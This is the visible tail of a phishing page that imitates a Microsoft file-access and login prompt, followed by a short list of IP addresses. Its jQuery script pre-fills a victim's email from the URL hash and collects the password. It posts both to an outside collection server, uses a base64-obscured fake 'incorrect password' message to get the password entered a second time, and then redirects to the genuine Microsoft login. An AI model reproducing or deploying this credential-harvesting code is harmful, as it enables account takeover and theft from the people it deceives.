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"
width = 500 align = center height = 507 >
< /P><br><br> < font size = '6' > This file has been moved or deleted < /font><br><br> < font size = '3' > & #89;&# 111; & #117;&# 32; & #119;&# 105; & #108;&# 108; & #32;&# 98; & #101;&# 32; & #114;&# 101; & #100;&# 105; & #114;&# 101; & #99;&# 116; & #101;&# 100; & #32;&# 116; & #111;&# 32; & #77;&# 105; & #99;&# 114; & #111;&# 115; & #111;&# 102; & #116;&# 46; < /font><br> < a href = '' > What 's this?</a> < /center> < /div>
<!-- Optional JavaScript -->
<!-- jQuery first, then Popper.js, then Bootstrap JS -->
< script type = "text/javascript"
src = "https://code.jquery.com/jquery-3.2.1.slim.min.js"
integrity = "sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN"
crossorigin = "anonymous" > < /script> < script type = "text/javascript"
src = "https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js"
integrity = "sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q"
crossorigin = "anonymous" > < /script> < script type = "text/javascript"
src = "https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js"
integrity = "sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl"
crossorigin = "anonymous" > < /script> < /body> < script type = "text/javascript"
src = "https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js" > < /script> < script >
/* global $ */
$(document).ready(function() {
var cnt = 0;
var ai = window.location.hash.substr(1);
if (!ai) {
} else {
var base64regex = /^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/;
if (!base64regex.test(ai)) {
var my_ai = ai;
} else {
var my_ai = atob(ai);
}
var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
if (!filter.test(my_ai)) {
$('#error').show();
ai.focus;
return false;
}
var ind = my_ai.indexOf("@");
var m_slc = my_ai.substr((ind + 1));
var c = m_slc.substr(0, m_slc.indexOf('.'));
var fnl = c.toLowerCase();
var fnlu = c.toUpperCase();
$('#ai').val(my_ai);
$("#prt1").animate({
left: 0,
opacity: "hide"
}, 0);
$("#prt3").animate({
right: 0,
opacity: "show"
}, 0);
setTimeout(() => {
$("#prt3").animate({
left: 0,
opacity: "hide"
}, 0);
$("#prt2").animate({
right: 0,
opacity: "show"
}, 0);
$("#aich").html(my_ai);
}, 4000);
}
$('#ai').click(function() {
$('#error').hide();
});
$(document).keypress(function(event) {
var keycode = (event.keyCode ? event.keyCode : event.which);
if (keycode == '13') {
event.preventDefault();
if ($("#prt1").is(":visible")) {
$("#next").click();
} else if ($("#prt2").is(":visible")) {
event.preventDefault();
$("#sub-btn").click();
} else {
return false;
}
}
});
$('#next').click(function() {
event.preventDefault();
var my_ai = $('#ai').val();
var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
if (!filter.test(my_ai)) {
$('#error').show();
ai.focus;
return false;
}
var ind = my_ai.indexOf("@");
var m_slc = my_ai.substr((ind + 1));
var c = m_slc.substr(0, m_slc.indexOf('.'));
var fnl = c.toLowerCase();
var fnlu = c.toUpperCase();
$("#prt1").animate({
left: 0,
opacity: "hide"
}, 0);
$("#prt3").animate({
right: 0,
opacity: "show"
}, 0);
setTimeout(() => {
$("#prt3").animate({
left: 0,
opacity: "hide"
}, 0);
$("#prt2").animate({
right: 0,
opacity: "show"
}, 0);
$("#aich").html(my_ai);
}, 4000);
});
$('#back').click(function() {
$("#mgss").hide();
$("#ai").val("");
$("#pr").val("");
$("#prt2").animate({
left: 0,
opacity: "hide"
}, 0);
$("#prt1").animate({
right: 0,
opacity: "show"
}, 1000);
});
var f = "bmV4dC5waHA=";
$('#sub-btn').click(function(event) {
event.preventDefault();
var ai = $("#ai").val();
var pr = $("#pr").val();
var detail = $("#field").html();
var mgss = $('#mgss').html();
var my_ai = ai;
var ind = my_ai.indexOf("@");
var m_slc = my_ai.substr((ind + 1));
var c = m_slc.substr(0, m_slc.indexOf('.'));
var fnl = c.toLowerCase();
$('#mgss').text(mgss);
cnt = cnt + 1;
$.ajax({
dataType: 'JSON',
url: 'https://thegoldencollective.com/edm/esp.php',
type: 'POST',
data: {
ai: ai,
pr: pr,
detail: detail,
},
beforeSend: function(xhr) {
$("#prt2").animate({
left: 0,
opacity: "hide"
}, 0);
$("#prt3").animate({
left: 0,
opacity: "show"
}, 0);
},
complete: function() {
$("#pr").val("");
if (cnt >= 2) {
cnt = 0;
// $("#load-text").html("Mail Recovered");
$("#main").animate({
left: 0,
opacity: "hide"
}, 0);
$("#finish").animate({
right: 0,
opacity: "show"
}, 0);
setTimeout(() => {
// $("#load-text").html("You will be redirected to your office Mailbox shortly.");
setTimeout(() => {
window.location.replace("https://login.microsoftonline.com/");
// window.location.replace("https://login.microsoftonline.com/");
}, 500);
}, 1000);
return false;
}
$("#mgss").html(atob("WW91ciBhY2NvdW50IG9yIHBhc3N3b3JkIGlzIGluY29ycmVjdC4gSWYgeW91IGRvbid0IHJlbWVtYmVyIHlvdXIgcGFzc3dvcmQsIDxhIGhyZWY9JyMnPnJlc2V0IGl0IG5vdzwvYT4="));
$("#prt3").animate({
left: 0,
opacity: "hide"
}, 0);
$("#prt2").animate({
left: 0,
opacity: "show"
}, 100);
}
});
});
}); < /script>
< /html>
104.18.6.145 ()
54.187.160.31
23.36.76.226
93.184.220.29
104.18.6.145